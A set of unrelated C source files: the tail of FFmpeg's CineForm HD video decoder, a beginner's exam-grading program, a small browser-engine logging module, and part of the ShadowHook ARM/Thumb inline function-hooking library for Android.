2); if (s->bpc == 12) { output = s->plane[plane].l_h[7]; for (i = 0; i < lowpass_height * 2; i++) { for (j = 0; j < lowpass_width * 2; j++) output[j] *= 4; output += output_stride * 2; } } lowpass_height = s->plane[plane].band[1][1].height; output_stride = s->plane[plane].band[1][1].a_width; lowpass_width = s->plane[plane].band[1][1].width; highpass_stride = s->plane[plane].band[1][1].stride; if (lowpass_height > s->plane[plane].band[1][1].a_height || lowpass_width > s->plane[plane].band[1][1].a_width || !highpass_stride || s->plane[plane].band[1][1].width > s->plane[plane].band[1][1].a_width || lowpass_width < 3 || lowpass_height < 3) { av_log(avctx, AV_LOG_ERROR, "Invalid plane dimensions\n"); ret = AVERROR(EINVAL); goto end; } av_log(avctx, AV_LOG_DEBUG, "Level 2 lowpass plane %i %i %i %i\n", plane, lowpass_height, lowpass_width, highpass_stride); low = s->plane[plane].l_h[7]; high = s->plane[plane].subband[5]; output = s->plane[plane].l_h[3]; dsp->vert_filter(output, output_stride, low, output_stride, high, highpass_stride, lowpass_width, lowpass_height); low = s->plane[plane].subband[4]; high = s->plane[plane].subband[6]; output = s->plane[plane].l_h[4]; dsp->vert_filter(output, output_stride, low, highpass_stride, high, highpass_stride, lowpass_width, lowpass_height); low = s->plane[plane].l_h[3]; high = s->plane[plane].l_h[4]; output = s->plane[plane].l_h[7]; dsp->horiz_filter(output, output_stride, low, output_stride, high, output_stride, lowpass_width, lowpass_height * 2); output = s->plane[plane].l_h[7]; for (i = 0; i < lowpass_height * 2; i++) { for (j = 0; j < lowpass_width * 2; j++) output[j] *= 4; output += output_stride * 2; } low = s->plane[plane].subband[7]; high = s->plane[plane].subband[9]; output = s->plane[plane].l_h[3]; dsp->vert_filter(output, output_stride, low, highpass_stride, high, highpass_stride, lowpass_width, lowpass_height); low = s->plane[plane].subband[8]; high = s->plane[plane].subband[10]; output = s->plane[plane].l_h[4]; dsp->vert_filter(output, output_stride, low, highpass_stride, high, highpass_stride, lowpass_width, lowpass_height); low = s->plane[plane].l_h[3]; high = s->plane[plane].l_h[4]; output = s->plane[plane].l_h[9]; dsp->horiz_filter(output, output_stride, low, output_stride, high, output_stride, lowpass_width, lowpass_height * 2); lowpass_height = s->plane[plane].band[4][1].height; output_stride = s->plane[plane].band[4][1].a_width; lowpass_width = s->plane[plane].band[4][1].width; highpass_stride = s->plane[plane].band[4][1].stride; av_log(avctx, AV_LOG_DEBUG, "temporal level %i %i %i %i\n", plane, lowpass_height, lowpass_width, highpass_stride); if (lowpass_height > s->plane[plane].band[4][1].a_height || lowpass_width > s->plane[plane].band[4][1].a_width || !highpass_stride || s->plane[plane].band[4][1].width > s->plane[plane].band[4][1].a_width || lowpass_width < 3 || lowpass_height < 3) { av_log(avctx, AV_LOG_ERROR, "Invalid plane dimensions\n"); ret = AVERROR(EINVAL); goto end; } low = s->plane[plane].l_h[7]; high = s->plane[plane].l_h[9]; output = s->plane[plane].l_h[7]; for (i = 0; i < lowpass_height; i++) { inverse_temporal_filter(low, high, lowpass_width); low += output_stride; high += output_stride; } if (s->progressive) { low = s->plane[plane].l_h[7]; high = s->plane[plane].subband[15]; output = s->plane[plane].l_h[6]; dsp->vert_filter(output, output_stride, low, output_stride, high, highpass_stride, lowpass_width, lowpass_height); low = s->plane[plane].subband[14]; high = s->plane[plane].subband[16]; output = s->plane[plane].l_h[7]; dsp->vert_filter(output, output_stride, low, highpass_stride, high, highpass_stride, lowpass_width, lowpass_height); low = s->plane[plane].l_h[9]; high = s->plane[plane].subband[12]; output = s->plane[plane].l_h[8]; dsp->vert_filter(output, output_stride, low, output_stride, high, highpass_stride, lowpass_width, lowpass_height); low = s->plane[plane].subband[11]; high = s->plane[plane].subband[13]; output = s->plane[plane].l_h[9]; dsp->vert_filter(output, output_stride, low, highpass_stride, high, highpass_stride, lowpass_width, lowpass_height); if (s->sample_type == 1) continue; dst = (int16_t *)pic->data[act_plane]; if (avctx->pix_fmt == AV_PIX_FMT_BAYER_RGGB16) { if (plane & 1) dst++; if (plane > 1) dst += pic->linesize[act_plane] >> 1; } if (avctx->pix_fmt == AV_PIX_FMT_BAYER_RGGB16 && (lowpass_height * 2 > avctx->coded_height / 2 || lowpass_width * 2 > avctx->coded_width / 2 ) ) { ret = AVERROR_INVALIDDATA; goto end; } low = s->plane[plane].l_h[6]; high = s->plane[plane].l_h[7]; for (i = 0; i < s->plane[act_plane].height; i++) { dsp->horiz_filter_clip(dst, low, high, lowpass_width, s->bpc); low += output_stride; high += output_stride; dst += dst_linesize; } } else { pic->interlaced_frame = 1; low = s->plane[plane].l_h[7]; high = s->plane[plane].subband[14]; output = s->plane[plane].l_h[6]; dsp->horiz_filter(output, output_stride, low, output_stride, high, highpass_stride, lowpass_width, lowpass_height); low = s->plane[plane].subband[15]; high = s->plane[plane].subband[16]; output = s->plane[plane].l_h[7]; dsp->horiz_filter(output, output_stride, low, highpass_stride, high, highpass_stride, lowpass_width, lowpass_height); low = s->plane[plane].l_h[9]; high = s->plane[plane].subband[11]; output = s->plane[plane].l_h[8]; dsp->horiz_filter(output, output_stride, low, output_stride, high, highpass_stride, lowpass_width, lowpass_height); low = s->plane[plane].subband[12]; high = s->plane[plane].subband[13]; output = s->plane[plane].l_h[9]; dsp->horiz_filter(output, output_stride, low, highpass_stride, high, highpass_stride, lowpass_width, lowpass_height); if (s->sample_type == 1) continue; dst = (int16_t *)pic->data[act_plane]; low = s->plane[plane].l_h[6]; high = s->plane[plane].l_h[7]; for (i = 0; i < s->plane[act_plane].height / 2; i++) { interlaced_vertical_filter(dst, low, high, lowpass_width * 2, pic->linesize[act_plane]/2, act_plane); low += output_stride * 2; high += output_stride * 2; dst += pic->linesize[act_plane]; } } } } if (s->transform_type == 2 && s->sample_type == 1) { int16_t *low, *high, *dst; int output_stride, lowpass_height, lowpass_width; ptrdiff_t dst_linesize; for (plane = 0; plane < s->planes; plane++) { int act_plane = plane == 1 ? 2 : plane == 2 ? 1 : plane; if (avctx->pix_fmt == AV_PIX_FMT_BAYER_RGGB16) { act_plane = 0; dst_linesize = pic->linesize[act_plane]; } else { dst_linesize = pic->linesize[act_plane] / 2; } lowpass_height = s->plane[plane].band[4][1].height; output_stride = s->plane[plane].band[4][1].a_width; lowpass_width = s->plane[plane].band[4][1].width; if (lowpass_height > s->plane[plane].band[4][1].a_height || lowpass_width > s->plane[plane].band[4][1].a_width || s->plane[plane].band[4][1].width > s->plane[plane].band[4][1].a_width || lowpass_width < 3 || lowpass_height < 3) { av_log(avctx, AV_LOG_ERROR, "Invalid plane dimensions\n"); ret = AVERROR(EINVAL); goto end; } if (s->progressive) { dst = (int16_t *)pic->data[act_plane]; low = s->plane[plane].l_h[8]; high = s->plane[plane].l_h[9]; if (avctx->pix_fmt == AV_PIX_FMT_BAYER_RGGB16) { if (plane & 1) dst++; if (plane > 1) dst += pic->linesize[act_plane] >> 1; } if (avctx->pix_fmt == AV_PIX_FMT_BAYER_RGGB16 && (lowpass_height * 2 > avctx->coded_height / 2 || lowpass_width * 2 > avctx->coded_width / 2 ) ) { ret = AVERROR_INVALIDDATA; goto end; } for (i = 0; i < s->plane[act_plane].height; i++) { dsp->horiz_filter_clip(dst, low, high, lowpass_width, s->bpc); low += output_stride; high += output_stride; dst += dst_linesize; } } else { dst = (int16_t *)pic->data[act_plane]; low = s->plane[plane].l_h[8]; high = s->plane[plane].l_h[9]; for (i = 0; i < s->plane[act_plane].height / 2; i++) { interlaced_vertical_filter(dst, low, high, lowpass_width * 2, pic->linesize[act_plane]/2, act_plane); low += output_stride * 2; high += output_stride * 2; dst += pic->linesize[act_plane]; } } } } if (avctx->pix_fmt == AV_PIX_FMT_BAYER_RGGB16) process_bayer(pic, s->bpc); end: if (ret < 0) return ret; *got_frame = 1; return avpkt->size; } static av_cold int cfhd_close(AVCodecContext *avctx) { CFHDContext *s = avctx->priv_data; free_buffers(s); ff_free_vlc(&s->vlc_9); ff_free_vlc(&s->vlc_18); return 0; } #if HAVE_THREADS static int update_thread_context(AVCodecContext *dst, const AVCodecContext *src) { CFHDContext *psrc = src->priv_data; CFHDContext *pdst = dst->priv_data; int ret; if (dst == src || psrc->transform_type == 0) return 0; if (pdst->plane[0].idwt_size != psrc->plane[0].idwt_size || pdst->a_format != psrc->a_format || pdst->a_width != psrc->a_width || pdst->a_height != psrc->a_height) free_buffers(pdst); pdst->a_format = psrc->a_format; pdst->a_width = psrc->a_width; pdst->a_height = psrc->a_height; pdst->transform_type = psrc->transform_type; pdst->progressive = psrc->progressive; pdst->planes = psrc->planes; if (!pdst->plane[0].idwt_buf) { pdst->coded_width = pdst->a_width; pdst->coded_height = pdst->a_height; pdst->coded_format = pdst->a_format; ret = alloc_buffers(dst); if (ret < 0) return ret; } for (int plane = 0; plane < pdst->planes; plane++) { memcpy(pdst->plane[plane].band, psrc->plane[plane].band, sizeof(pdst->plane[plane].band)); memcpy(pdst->plane[plane].idwt_buf, psrc->plane[plane].idwt_buf, pdst->plane[plane].idwt_size * sizeof(int16_t)); } return 0; } #endif AVCodec ff_cfhd_decoder = { .name = "cfhd", .long_name = NULL_IF_CONFIG_SMALL("GoPro CineForm HD"), .type = AVMEDIA_TYPE_VIDEO, .id = AV_CODEC_ID_CFHD, .priv_data_size = sizeof(CFHDContext), .init = cfhd_init, .close = cfhd_close, .decode = cfhd_decode, .update_thread_context = ONLY_IF_THREADS_ENABLED(update_thread_context), .capabilities = AV_CODEC_CAP_DR1 | AV_CODEC_CAP_FRAME_THREADS, .caps_internal = FF_CODEC_CAP_INIT_THREADSAFE | FF_CODEC_CAP_INIT_CLEANUP, };
458058.c
#include<stdio.h> #include<conio.h> int main(){ int phy, chem, maths; printf("Enter your marks in Physics, Chemistry, Maths : "); scanf("%d %d %d",&phy ,&chem, &maths ); if(phy >= 40 && chem >= 40 && maths >= 40) { printf("You are pass\n"); int marks =(phy + chem + maths)/3; if(marks >= 90 && marks <= 100) printf("Grade : S"); else if(marks >= 80 && marks <= 90) printf("Grade : A+"); else if(marks >= 70 && marks <= 80) printf("Grade : A"); else if(marks >= 60 && marks <= 70) printf("Grade : B+"); else if(marks >= 50 && marks <= 60) printf("Grade : B"); else if(marks >= 40 && marks <= 50) printf("Grade : J (just passed)"); else printf("Please enter a vaild marks"); } else printf("You are fail, hope you learn and pass next time!"); return 0; }
357753.c
// LICENSE NOTICE ================================================================================== /** * netzhaut - Web Browser Engine * Copyright (C) 2020 The netzhaut Authors * Published under MIT */ // INCLUDE ========================================================================================= #include "Log.h" #include "MACRO/DEFAULT_CHECK.h" #include "MACRO/FLOW.h" #include "../Base/UnicodeData.h" #include "../../nhcore/System/Logger.h" #include <stdio.h> #include <string.h> // LOG FLOW ======================================================================================== NH_ENCODING_RESULT _nh_encoding_logBegin( const char *file_p, const char *function_p) { // if (!NH_CONFIG.Flags.Log.Flow.html) {return NH_SUCCESS;} // return _nh_begin(file_p, function_p); } NH_ENCODING_RESULT _nh_encoding_logEnd( const char *file_p, const char *function_p) { // if (!NH_CONFIG.Flags.Log.Flow.html) {return NH_SUCCESS;} // return _nh_end(file_p, function_p); } NH_ENCODING_RESULT _nh_encoding_logDiagnosticEnd( const char *file_p, const char *function_p, NH_ENCODING_RESULT result, int line) { // if (!NH_CONFIG.Flags.Log.Flow.html) {return result;} // _nh_diagnosticEnd(file_p, function_p, result, line); // return result; } // LOG UNICODE CODEPOINT DESCRIPTIONS ============================================================== NH_ENCODING_RESULT nh_encoding_logUnicodeCodepointDescriptions() { NH_ENCODING_BEGIN() for (int i = 0; i < NH_ENCODING_UNICODE_DATA_COUNT; ++i) { nh_sendLogMessage("nhencoding:Unicode", NULL, (NH_BYTE*)NH_ENCODING_UNICODE_DATA_PP[i]); } NH_ENCODING_DIAGNOSTIC_END(NH_SUCCESS) }
370015.c
// Copyright (c) 2021-2022 ByteDance Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. // // Created by Kelun Cai ([email protected]) on 2021-04-11. #include <stdlib.h> #include <stdint.h> #include <inttypes.h> #include <stdbool.h> #include <string.h> #include <sys/mman.h> #include "shadowhook.h" #include "sh_inst.h" #include "sh_t16.h" #include "sh_t32.h" #include "sh_txx.h" #include "sh_a32.h" #include "sh_enter.h" #include "sh_exit.h" #include "sh_util.h" #include "sh_log.h" #include "sh_config.h" #include "sh_sig.h" static void sh_inst_get_thumb_rewrite_info(sh_inst_t *self, uintptr_t target_addr, sh_txx_rewrite_info_t *rinfo) { memset(rinfo, 0, sizeof(sh_txx_rewrite_info_t)); size_t idx = 0; uintptr_t target_addr_offset = 0; uintptr_t pc = target_addr + 4; size_t rewrite_len = 0; while(rewrite_len < self->backup_len) { // IT block sh_t16_it_t it; if(sh_t16_parse_it(&it, *((uint16_t *)(target_addr + target_addr_offset)), pc)) { rewrite_len += (2 + it.insts_len); size_t it_block_idx = idx++; size_t it_block_len = 4 + 4; // IT-else + IT-then for(size_t i = 0, j = 0; i < it.insts_cnt; i++) { bool is_thumb32 = sh_util_is_thumb32((uintptr_t)(&(it.insts[j]))); if(is_thumb32) { it_block_len += sh_t32_get_rewrite_inst_len(it.insts[j], it.insts[j + 1]); rinfo->inst_lens[idx++] = 0; rinfo->inst_lens[idx++] = 0; j += 2; } else { it_block_len += sh_t16_get_rewrite_inst_len(it.insts[j]); rinfo->inst_lens[idx++] = 0; j += 1; } } rinfo->inst_lens[it_block_idx] = it_block_len; target_addr_offset += (2 + it.insts_len); pc += (2 + it.insts_len); } // not IT block else { bool is_thumb32 = sh_util_is_thumb32(target_addr + target_addr_offset); size_t inst_len = (is_thumb32 ? 4 : 2); rewrite_len += inst_len; if(is_thumb32) { rinfo->inst_lens[idx++] = sh_t32_get_rewrite_inst_len(*((uint16_t *)(target_addr + target_addr_offset)), *((uint16_t *)(target_addr + target_addr_offset + 2))); rinfo->inst_lens[idx++] = 0; } else rinfo->inst_lens[idx++] = sh_t16_get_rewrite_inst_len(*((uint16_t *)(target_addr + target_addr_offset))); target_addr_offset += inst_len; pc += inst_len; } } rinfo->start_addr = target_addr; rinfo->end_addr = target_addr + rewrite_len; rinfo->buf = (uint16_t *)self->enter_addr; rinfo->buf_offset = 0; rinfo->inst_lens_cnt = idx; } static int sh_inst_hook_thumb_rewrite(sh_inst_t *self, uintptr_t target_addr, uintptr_t *orig_addr, uintptr_t *orig_addr2, size_t *rewrite_len) { // backup original instructions (length: 4 or 8 or 10) memcpy((void *)(self->backup), (void *)target_addr, self->backup_len); // package the information passed to rewrite sh_txx_rewrite_info_t rinfo; sh_inst_get_thumb_rewrite_info(self, target_addr, &rinfo); // backup and rewrite original instructions uintptr_t target_addr_offset = 0; uintptr_t pc = target_addr + 4; *rewrite_len = 0; while(*rewrite_len < self->backup_len) { // IT block sh_t16_it_t it; if(sh_t16_parse_it(&it, *((uint16_t *)(target_addr + target_addr_offset)), pc)) { *rewrite_len += (2 + it.insts_len); // save space holder point of IT-else B instruction uintptr_t enter_inst_else_p = self->enter_addr + rinfo.buf_offset; rinfo.buf_offset += 2; // B<c> <label> rinfo.buf_offset += 2; // NOP // rewrite IT block size_t enter_inst_else_len = 4; // B<c> + NOP + B + NOP size_t enter_inst_then_len = 0; // B + NOP uintptr_t enter_inst_then_p = 0; for(size_t i = 0, j = 0; i < it.insts_cnt; i++) { if(i == it.insts_else_cnt) { // save space holder point of IT-then (for B instruction) enter_inst_then_p = self->enter_addr + rinfo.buf_offset; rinfo.buf_offset += 2; // B <label> rinfo.buf_offset += 2; // NOP // fill IT-else B instruction sh_t16_rewrite_it_else((uint16_t *)enter_inst_else_p, (uint16_t)enter_inst_else_len, &it); } // rewrite instructions in IT block bool is_thumb32 = sh_util_is_thumb32((uintptr_t)(&(it.insts[j]))); size_t len; if(is_thumb32) len = sh_t32_rewrite((uint16_t *)(self->enter_addr + rinfo.buf_offset), it.insts[j], it.insts[j + 1], it.pcs[i], &rinfo); else len = sh_t16_rewrite((uint16_t *)(self->enter_addr + rinfo.buf_offset), it.insts[j], it.pcs[i], &rinfo); if(0 == len) return SHADOWHOOK_ERRNO_HOOK_REWRITE_FAILED; rinfo.buf_offset += len; j += (is_thumb32 ? 2 : 1); // save the total offset for ELSE/THEN in enter if(i < it.insts_else_cnt) enter_inst_else_len += len; else enter_inst_then_len += len; if(i == it.insts_cnt - 1) { // fill IT-then B instruction sh_t16_rewrite_it_then((uint16_t *)enter_inst_then_p, (uint16_t)enter_inst_then_len); } } target_addr_offset += (2 + it.insts_len); pc += (2 + it.insts_len); } // not IT block else { bool is_thumb32 = sh_util_is_thumb32(target_addr + target_addr_offset); size_t inst_len = (is_thumb32 ? 4 : 2); *rewrite_len += inst_len; // rewrite original instructions (fill in enter) SH_LOG_INFO("thumb rewrite: offset %zu, pc %"PRIxPTR, rinfo.buf_offset, pc); size_t len; if(is_thumb32) len = sh_t32_rewrite((uint16_t *)(self->enter_addr + rinfo.buf_offset), *((uint16_t *)(target_addr + target_addr_offset)), *((uint16_t *)(target_addr + target_addr_offset + 2)), pc, &rinfo); else len = sh_t16_rewrite((uint16_t *)(self->enter_addr + rinfo.buf_offset), *((uint16_t *)(target_addr + target_addr_offset)), pc, &rinfo); if(0 == len) return SHADOWHOOK_ERRNO_HOOK_REWRITE_FAILED; rinfo.buf_offset += len; target_addr_offset += inst_len; pc += inst_len; } } SH_LOG_INFO("thumb rewrite: len %zu to %zu", *rewrite_len, rinfo.buf_offset); // absolute jump back to remaining original instructions (fill in enter) rinfo.buf_offset += sh_t32_absolute_jump((uint16_t *)(self->enter_addr + rinfo.buf_offset), true, SH_UTIL_SET_BIT0(target_addr + *rewrite_len)); sh_util_clear_cache(self->enter_addr, rinfo.buf_offset); // save original function address if(NULL != orig_addr) __atomic_store_n(orig_addr, SH_UTIL_SET_BIT0(self->enter_addr), __ATOMIC_SEQ_CST); if(NULL != orig_addr2) __atomic_store_n(orig_addr2, SH_UTIL_SET_BIT0(self->enter_addr), __ATOMIC_SEQ_CST); return 0; } #ifdef SH_CONFIG_DETECT_THUMB_TAIL_ALIGNED static bool sh_inst_thumb_is_long_enough(uintptr_t target_addr, size_t overwrite_len, xdl_info *dlinfo) { if(overwrite_len <= dlinfo->dli_ssize) return true; // check align-4 in the end of symbol if((overwrite_len == dlinfo->dli_ssize + 2) && ((target_addr + dlinfo->dli_ssize) % 4 == 2)) { uintptr_t sym_end = target_addr + dlinfo->dli_ssize; if(0 != sh_util_mprotect(sym_end, 2, PROT_READ | PROT_WRITE | PROT_EXEC)) return false; // should be zero-ed if(0 != *((uint16_t *)sym_end)) return false; // should not belong to any symbol void *dlcache = NULL; xdl_info dlinfo2; if(sh_util_get_api_level() >= __ANDROID_API_L__) xdl_addr((void *)SH_UTIL_SET_BIT0(sym_end), &dlinfo2, &dlcache); else { SH_SIG_TRY(SIGSEGV, SIGBUS) xdl_addr((void *)SH_UTIL_SET_BIT0(sym_end), &dlinfo2, &dlcache); SH_SIG_CATCH() memset(&dlinfo2, 0, sizeof(dlinfo2)); SH_LOG_WARN("thumb detect tail aligned: crashed"); SH_SIG_EXIT } xdl_addr_clean(&dlcache); if(NULL != dlinfo2.dli_sname) return false; // trust here is useless alignment data return true; } return false; } #endif #ifdef SH_CONFIG_TRY_WITH_EXIT // B T4: [-16M, +16M - 2] #define SH_INST_T32_B_RANGE_LOW (16777216) #define SH_INST_T32_B_RANGE_HIGH (16777214) static int sh_inst_hook_thumb_with_exit(sh_inst_t *self, uintptr_t target_addr, xdl_info *dlinfo, uintptr_t new_addr, uintptr_t *orig_addr, uintptr_t *orig_addr2) { int r; target_addr = SH_UTIL_CLEAR_BIT0(target_addr); uintptr_t pc = target_addr + 4; self->backup_len = 4; #ifdef SH_CONFIG_DETECT_THUMB_TAIL_ALIGNED if(!sh_inst_thumb_is_long_enough(target_addr, self->backup_len, dlinfo)) return SHADOWHOOK_ERRNO_HOOK_SYMSZ; #else if(dlinfo->dli_ssize < self->backup_len) return SHADOWHOOK_ERRNO_HOOK_SYMSZ; #endif // alloc an exit for absolute jump sh_t32_absolute_jump((uint16_t *)self->exit, true, new_addr); if(0 != (r = sh_exit_alloc(&self->exit_addr, &self->exit_type, pc, dlinfo, (uint8_t *)(self->exit), sizeof(self->exit), SH_INST_T32_B_RANGE_LOW, SH_INST_T32_B_RANGE_HIGH))) return r; // rewrite if(0 != sh_util_mprotect(target_addr, dlinfo->dli_ssize, PROT_READ | PROT_WRITE | PROT_EXEC)) { r = SHADOWHOOK_ERRNO_MPROT; goto err; } size_t rewrite_len = 0; SH_SIG_TRY(SIGSEGV, SIGBUS) r = sh_inst_hook_thumb_rewrite(self, target_addr, orig_addr, orig_addr2, &rewrite_len); SH_SIG_CATCH() { r = SHADOWHOOK_ERRNO_HOOK_REWRITE_CRASH; goto err; } SH_SIG_EXIT if(0 != r) goto err; // relative jump to the exit by overwriting the head of original function sh_t32_relative_jump((uint16_t *)self->trampo, self->exit_addr, pc); __atomic_thread_fence(__ATOMIC_SEQ_CST); if(0 != (r = sh_util_write_inst(target_addr, self->trampo, self->backup_len))) goto err; SH_LOG_INFO("thumb: hook (WITH EXIT) OK. target %"PRIxPTR" -> exit %"PRIxPTR" -> new %"PRIxPTR" -> enter %"PRIxPTR" -> remaining %"PRIxPTR, target_addr, self->exit_addr, new_addr, self->enter_addr, SH_UTIL_SET_BIT0(target_addr + rewrite_len)); return 0; err: sh_exit_free(self->exit_addr, self->exit_type, (uint8_t *)(self->exit), sizeof(self->exit)); self->exit_addr = 0; // this is a flag for with-exit or without-exit return r; } #endif static int sh_inst_hook_thumb_without_exit(sh_inst_t *self, uintptr_t target_addr, xdl_info *dlinfo, uintptr_t new_addr, uintptr_t *orig_addr, uintptr_t *orig_addr2) { int r; target_addr = SH_UTIL_CLEAR_BIT0(target_addr); bool is_align4 = (0 == (target_addr % 4)); self->backup_len = (is_align4 ? 8 : 10); #ifdef SH_CONFIG_DETECT_THUMB_TAIL_ALIGNED if(!sh_inst_thumb_is_long_enough(target_addr, self->backup_len, dlinfo)) return SHADOWHOOK_ERRNO_HOOK_SYMSZ; #else if(dlinfo->dli_ssize < self->backup_len) return SHADOWHOOK_ERRNO_HOOK_SYMSZ; #endif // rewrite if(0 != sh_util_mprotect(target_addr, dlinfo->dli_ssize, PROT_READ | PROT_WRITE | PROT_EXEC)) return SHADOWHOOK_ERRNO_MPROT; size_t rewrite_len = 0; SH_SIG_TRY(SIGSEGV, SIGBUS) r = sh_inst_hook_thumb_rewrite(self, target_addr, orig_addr, orig_addr2, &rewrite_len); SH_SIG_CATCH() return SHADOWHOOK_ERRNO_HOOK_REWRITE_CRASH; SH_SIG_EXIT if(0 != r) return r; // absolute jump to new function address by overwriting the head of original function sh_t32_absolute_jump((uint16_t *)self->trampo, is_align4, new_addr); __atomic_thread_fence(__ATOMIC_SEQ_CST); if(0 != (r = sh_util_write_inst(target_addr, self->trampo, self->backup_len))) return r; SH_LOG_INFO("thumb: hook (WITHOUT EXIT) OK. target %"PRIxPTR" -> new %"PRIxPTR" -> enter %"PRIxPTR" -> remaining %"PRIxPTR, target_addr, new_addr, self->enter_addr, SH_UTIL_SET_BIT0(target_addr + rewrite_len)); return 0; } static int sh_inst_hook_arm_rewrite(sh_inst_t *self, uintptr_t target_addr, uintptr_t *orig_addr, uintptr_t *orig_addr2) { // backup original instructions (length: 4 or 8) memcpy((void *)(self->backup), (void *)target_addr, self->backup_len); // package the information passed to rewrite sh_a32_rewrite_info_t rinfo; rinfo.overwrite_start_addr = target_addr; rinfo.overwrite_end_addr = target_addr + self->backup_len; rinfo.rewrite_buf = (uint32_t *)self->enter_addr; rinfo.rewrite_buf_offset = 0; rinfo.rewrite_inst_lens_cnt = self->backup_len / 4; for(uintptr_t i = 0; i < self->backup_len; i += 4) rinfo.rewrite_inst_lens[i / 4] = sh_a32_get_rewrite_inst_len(*((uint32_t *)(target_addr + i))); // rewrite original instructions (fill in enter) uintptr_t pc = target_addr + 8; for(uintptr_t i = 0; i < self->backup_len; i += 4, pc += 4) { size_t offset = sh_a32_rewrite((uint32_t *)(self->enter_addr + rinfo.rewrite_buf_offset), *((uint32_t *)(target_addr + i)), pc, &rinfo); if(0 == offset) return SHADOWHOOK_ERRNO_HOOK_REWRITE_FAILED; rinfo.rewrite_buf_offset += offset; } // absolute jump back to remaining original instructions (fill in enter) rinfo.rewrite_buf_offset += sh_a32_absolute_jump((uint32_t *)(self->enter_addr + rinfo.rewrite_buf_offset), target_addr + self->backup_len); sh_util_clear_cache(self->enter_addr, rinfo.rewrite_buf_offset); // save original function address if(NULL != orig_addr) __atomic_store_n(orig_addr, self->enter_addr, __ATOMIC_SEQ_CST); if(NULL != orig_addr2) __atomic_store_n(orig_addr2, self->enter_addr, __ATOMIC_SEQ_CST); return 0; } #ifdef SH_CONFIG_TRY_WITH_EXIT // B A1: [-32M, +32M - 4] #define SH_INST_A32_B_RANGE_LOW (33554432) #define SH_INST_A32_B_RANGE_HIGH (33554428) static int sh_inst_hook_arm_with_exit(sh_inst_t *self, uintptr_t target_addr, xdl_info *dlinfo, uintptr_t new_addr, uintptr_t *orig_addr, uintptr_t *orig_addr2) { int r; uintptr_t pc = target_addr + 8; self->backup_len = 4; if(dlinfo->dli_ssize < self->backup_len) return SHADOWHOOK_ERRNO_HOOK_SYMSZ; // alloc an exit for absolute jump sh_a32_absolute_jump(self->exit, new_addr); if(0 != (r = sh_exit_alloc(&self->exit_addr, &self->exit_type, pc, dlinfo, (uint8_t *)(self->exit), sizeof(self->exit), SH_INST_A32_B_RANGE_LOW, SH_INST_A32_B_RANGE_HIGH))) return r; // rewrite if(0 != sh_util_mprotect(target_addr, self->backup_len, PROT_READ | PROT_WRITE | PROT_EXEC)) { r = SHADOWHOOK_ERRNO_MPROT; goto err; } SH_SIG_TRY(SIGSEGV, SIGBUS) r = sh_inst_hook_arm_rewrite(self, target_addr, orig_addr, orig_addr2); SH_SIG_CATCH() { r = SHADOWHOOK_ERRNO_HOOK_REWRITE_CRASH; goto err; } SH_SIG_EXIT if(0 != r) goto err; // relative jump to the exit by overwriting the head of original function sh_a32_relative_jump(self->trampo, self->exit_addr, pc); __atomic_thread_fence(__ATOMIC_SEQ_CST); if(0 != (r = sh_util_write_inst(target_addr, self->trampo, self->backup_len))) goto err; SH_LOG_INFO("a32: hook (WITH EXIT) OK. target %"PRIxPTR" -> exit %"PRIxPTR" -> new %"PRIxPTR" -> enter %"PRIxPTR" -> remaining %"PRIxPTR, target_addr, self->exit_addr, new_addr, self->enter_addr, target_addr + self->backup_len); return 0; err: sh_exit_free(self->exit_addr, self->exit_type, (uint8_t *)(self->exit), sizeof(self->exit)); self->exit_addr = 0; // this is a flag for with-exit or without-exit return r; } #endif static int sh_inst_hook_arm_without_exit(sh_inst_t *self, uintptr_t target_addr, xdl_info *dlinfo, uintptr_t new_addr, uintptr_t *orig_addr, uintptr_t *orig_addr2) { int r; self->backup_len = 8; if(dlinfo->dli_ssize < self->backup_len) return SHADOWHOOK_ERRNO_HOOK_SYMSZ; // rewrite if(0 != sh_util_mprotect(target_addr, self->backup_len, PROT_READ | PROT_WRITE | PROT_EXEC)) return SHADOWHOOK_ERRNO_MPROT; SH_SIG_TRY(SIGSEGV, SIGBUS) r = sh_inst_hook_arm_rewrite(self, target_addr, orig_addr, orig_addr2); SH_SIG_CATCH() return SHADOWHOOK_ERRNO_HOOK_REWRITE_CRASH; SH_SIG_EXIT if(0 != r) return r; // absolute jump to new function address by overwriting the head of original function sh_a32_absolute_jump(self->trampo, new_addr); __atomic_thread_fence(__ATOMIC_SEQ_CST); if(0 != (r = sh_util_write_inst(target_addr, self->trampo, self->backup_len))) return r; SH_LOG_INFO("a32: hook (WITHOUT EXIT) OK. target %"PRIxPTR" -> new %"PRIxPTR" -> enter %"PRIxPTR" -> remaining %"PRIxPTR, target_addr, new_addr, self->enter_addr, target_addr + self->backup_len); return 0; } int sh_inst_hook(sh_inst_t *self, uintptr_t target_addr, xdl_info *dlinfo, uintptr_t new_addr, uintptr_t *orig_addr, uintptr_t *orig_addr2) { self->enter_addr = sh_enter_alloc(); if(0 == self->enter_addr) return SHADOWHOOK_ERRNO_HOOK_ENTER; int r; if(SH_UTIL_IS_THUMB(target_addr)) { #ifdef SH_CONFIG_TRY_WITH_EXIT if(0 == (r = sh_inst_hook_thumb_with_exit(self, target_addr, dlinfo, new_addr, orig_addr, orig_addr2))) return r; #endif if(0 == (r = sh_inst_hook_thumb_without_exit(self, target_addr, dlinfo, new_addr, orig_addr, orig_addr2))) return r; } else { #ifdef SH_CONFIG_TRY_WITH_EXIT if(0 == (r = sh_inst_hook_arm_with_exit(self, target_addr, dlinfo, new_addr, orig_addr, orig_addr2))) return r; #endif if(0 == (r = sh_inst_hook_arm_without_exit(self, target_addr, dlinfo, new_addr, orig_addr, orig_addr2))) return r; } // hook failed if(NULL != orig_addr) *orig_addr = 0; 